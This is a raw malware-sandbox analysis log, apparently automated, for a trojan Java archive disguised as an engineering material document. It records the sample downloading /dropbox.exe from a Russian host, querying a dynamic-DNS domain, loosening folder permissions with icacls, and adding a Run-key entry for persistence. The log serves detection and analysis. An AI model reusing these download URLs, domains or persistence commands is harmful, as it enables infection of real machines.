Source: java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl3
Source: java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://crl.xrampsecurity.com/XGCA.crlk
Source: javaw.exe, 00000005.00000002.503812854.00000000050D8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.503599561.00000000052F9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://f0719949.xsph.ru
Source: javaw.exe, 00000006.00000002.503599561.00000000052F9000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://f0719949.xsph.ru/dropbox.exe
Source: java.exe, 00000002.00000002.254571440.000000000A5D5000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.250207717.00000000050D8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.509456620.000000000A98A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.503812854.00000000050D8000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.503599561.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.509201113.000000000AB8A000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://java.oracle.com/
Source: java.exe, 00000002.00000002.257471735.0000000015595000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255255992.000000000A777000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.258832159.0000000015C3F000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.523395165.0000000015642000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000003.261828063.00000000155F2000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.512799719.000000000ABB7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.506666785.0000000005374000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000003.262003659.000000001562B000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.523036319.000000001595A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000003.286075570.0000000015953000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.512492038.000000000ADB7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000003.285794524.000000001590A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.506404003.0000000005574000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://null.oracle.com/
Source: java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://policy.camerfirma.com
Source: java.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.506666785.0000000005374000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.506404003.0000000005574000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://policy.camerfirma.com0
Source: java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://policy.camerfirma.comC
Source: java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://policy.camerfirma.comKn
Source: javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.502584650.0000000005215000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://repository.swisssign.com/
Source: java.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255651463.000000000A8E2000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254035355.0000000005471000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.506666785.0000000005374000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.503599561.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.502584650.0000000005215000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.506404003.0000000005574000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://repository.swisssign.com/0
Source: javaw.exe, 00000006.00000002.502584650.0000000005215000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://repository.swisssign.com/3
Source: java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://repository.swisssign.com/3d
Source: java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://repository.swisssign.com/C
Source: javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://repository.swisssign.com/H
Source: javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://repository.swisssign.com/KI
Source: javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://repository.swisssign.com/PA
Source: javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl
Source: java.exe, 00000002.00000002.255651463.000000000A8E2000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254035355.0000000005471000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl0
Source: javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://trustcenter-crl.certificat2.com/Keynectis/KEYNECTIS_ROOT_CA.crl3F
Source: javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.certplus.com/CRL/class2.crl
Source: java.exe, 00000002.00000002.255651463.000000000A8E2000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254035355.0000000005471000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.certplus.com/CRL/class2.crl0
Source: javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.certplus.com/CRL/class2.crlC
Source: java.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.certplus.com/CRL/class3P.crl
Source: java.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.certplus.com/CRL/class3P.crl0
Source: java.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.chambersign.org
Source: java.exe, 00000002.00000002.255492377.000000000A819000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254206919.00000000054CD000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.chambersign.org1
Source: java.exe, 00000002.00000002.255651463.000000000A8E2000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254035355.0000000005471000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.quovadis.bm
Source: javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.quovadis.bm#
Source: java.exe, 00000002.00000002.255651463.000000000A8E2000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254035355.0000000005471000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.quovadis.bm0
Source: java.exe, 00000002.00000002.254035355.0000000005471000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.quovadis.bm;t
Source: javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.quovadis.bmK
Source: java.exe, 00000002.00000002.254035355.0000000005471000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.quovadis.bmS
Source: javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.quovadis.bms
Source: java.exe, 00000002.00000002.255651463.000000000A8E2000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254035355.0000000005471000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.quovadisglobal.com/cps
Source: java.exe, 00000002.00000002.255651463.000000000A8E2000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254035355.0000000005471000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: http://www.quovadisglobal.com/cps0
Source: javaw.exe, javaw.exe, 00000005.00000002.504154401.000000000511A000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000003.261432500.0000000015F55000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000003.261227949.0000000015EFC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000003.261385274.0000000015F1C000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000003.286039314.00000000162BC000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000003.286248087.00000000162D3000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.503835187.0000000005320000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://index.from.sh/pages/game.html
Source: javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ocsp.quovadisoffshore.com
Source: java.exe, 00000002.00000002.255651463.000000000A8E2000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.255625798.000000000A8C0000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.253997459.000000000544C000.00000004.00000800.00020000.00000000.sdmp, java.exe, 00000002.00000002.254035355.0000000005471000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.511908350.000000000AB27000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.504468288.00000000053D7000.00000004.00000800.00020000.00000000.sdmp, javaw.exe, 00000006.00000002.511628893.000000000AD27000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ocsp.quovadisoffshore.com0
Source: javaw.exe, 00000005.00000002.504710006.00000000051D0000.00000004.00000800.00020000.00000000.sdmpString found in binary or memory: https://ocsp.quovadisoffshore.comS
Source: unknownDNS traffic detected: queries for: bestsuccess.ddns.net
Source: global trafficHTTP traffic detected: GET /dropbox.exe HTTP/1.1User-Agent: Java/1.8.0_211Host: f0719949.xsph.ruAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Connection: keep-alive
Source: global trafficHTTP traffic detected: GET /dropbox.exe HTTP/1.1User-Agent: Java/1.8.0_211Host: f0719949.xsph.ruAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Connection: keep-alive
Source: global trafficHTTP traffic detected: GET /dropbox.exe HTTP/1.1User-Agent: Java/1.8.0_211Host: f0719949.xsph.ruAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2Connection: keep-alive
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeCode function: 2_2_02F8272B2_2_02F8272B
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeCode function: 2_2_02F7DD572_2_02F7DD57
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeCode function: 2_2_02F79CC12_2_02F79CC1
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeCode function: 6_3_158499CF6_3_158499CF
Source: DWG Material, Standard BS 4360 GR. 40A43A.jarReversingLabs: Detection: 35%
Source: DWG Material, Standard BS 4360 GR. 40A43A.jarVirustotal: Detection: 25%
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
Source: unknownProcess created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe" -javaagent:"C:\Users\user\AppData\Local\Temp\jartracer.jar" -jar "C:\Users\user\Desktop\DWG Material, Standard BS 4360 GR. 40A43A.jar"" >> C:\cmdlinestart.log 2>&1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe "C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe" -javaagent:"C:\Users\user\AppData\Local\Temp\jartracer.jar" -jar "C:\Users\user\Desktop\DWG Material, Standard BS 4360 GR. 40A43A.jar"
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeProcess created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M
Source: C:\Windows\SysWOW64\icacls.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeProcess created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw" -jar "C:\Users\user\AppData\Local\Temp\dropbox3326252284114201190.jar
Source: unknownProcess created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\dropbox3326252284114201190.jar
Source: unknownProcess created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe" -jar "C:\Users\user\AppData\Local\Temp\dropbox3326252284114201190.jar
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe "C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exe" -javaagent:"C:\Users\user\AppData\Local\Temp\jartracer.jar" -jar "C:\Users\user\Desktop\DWG Material, Standard BS 4360 GR. 40A43A.jar" Jump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeProcess created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)MJump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeProcess created: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exe C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw" -jar "C:\Users\user\AppData\Local\Temp\dropbox3326252284114201190.jarJump to behavior
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5020:120:WilError_01
Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6044:120:WilError_01
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\CryptoJump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeFile created: C:\Users\user\AppData\Local\Temp\hsperfdata_userJump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeSection loaded: C:\Program Files (x86)\Java\jre1.8.0_211\bin\client\jvm.dllJump to behavior
Source: java.exeString found in binary or memory: sun/launcher/
Source: javaw.exeString found in binary or memory: t-addMinutes
Source: javaw.exeString found in binary or memory: Usun/misc/Launcher$BootClassPathHolder$1lC
Source: classification engineClassification label: mal72.troj.expl.winJAR@11/3@6/3
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeFile opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dllJump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeCode function: 2_2_02EDD877 push 00000000h; mov dword ptr [esp], esp2_2_02EDD8A1
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeCode function: 2_2_02EDB377 push 00000000h; mov dword ptr [esp], esp2_2_02EDB39D
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeCode function: 2_2_02EDBB27 push 00000000h; mov dword ptr [esp], esp2_2_02EDBB4D
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeCode function: 2_2_02EDD860 push 00000000h; mov dword ptr [esp], esp2_2_02EDD8A1
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeCode function: 2_2_02EDA1CA push ecx; ret 2_2_02EDA1DA
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeCode function: 2_2_02EDA1DB push ecx; ret 2_2_02EDA1E5
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeCode function: 2_2_02EDB907 push 00000000h; mov dword ptr [esp], esp2_2_02EDB92D
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeCode function: 2_2_02EDC437 push 00000000h; mov dword ptr [esp], esp2_2_02EDC45D
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeCode function: 2_2_02EE2D44 push eax; retf 2_2_02EE2D45
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeCode function: 2_2_02F86658 push es; retf 2_2_02F86663
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeCode function: 2_2_02F86E31 push es; ret 2_2_02F86E56
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeCode function: 2_2_02F86593 push es; retn 0005h2_2_02F865D7
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeCode function: 5_3_15EFCF3A push 6015EFD0h; iretd 5_3_15EFCF4D
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeCode function: 5_3_15EFCBB1 pushad ; retf 5_3_15EFCC0D
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeCode function: 5_3_15EFCF9E pushad ; iretd 5_3_15EFCFA5
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeCode function: 5_3_15EFCF3A push 6015EFD0h; iretd 5_3_15EFCF4D
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeCode function: 5_3_15EFCBB1 pushad ; retf 5_3_15EFCC0D
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeCode function: 5_3_15EFCF9E pushad ; iretd 5_3_15EFCFA5
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeCode function: 5_3_15EFCF3A push 6015EFD0h; iretd 5_3_15EFCF4D
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeCode function: 5_3_15EFCBB1 pushad ; retf 5_3_15EFCC0D
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeCode function: 5_3_15EFCF9E pushad ; iretd 5_3_15EFCFA5
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeCode function: 6_3_1582C358 pushad ; ret 6_3_1582C359
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeCode function: 6_3_1584B48A push eax; ret 6_3_1584B76D
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeCode function: 6_3_1584B532 push eax; ret 6_3_1584B76D
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeRegistry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run dropboxJump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeRegistry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run dropboxJump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeProcess created: C:\Windows\SysWOW64\icacls.exe C:\Windows\system32\icacls.exe C:\ProgramData\Oracle\Java\.oracle_jre_usage /grant "everyone":(OI)(CI)M
Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\java.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Program Files (x86)\Java\jre1.8.0_211\bin\javaw.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
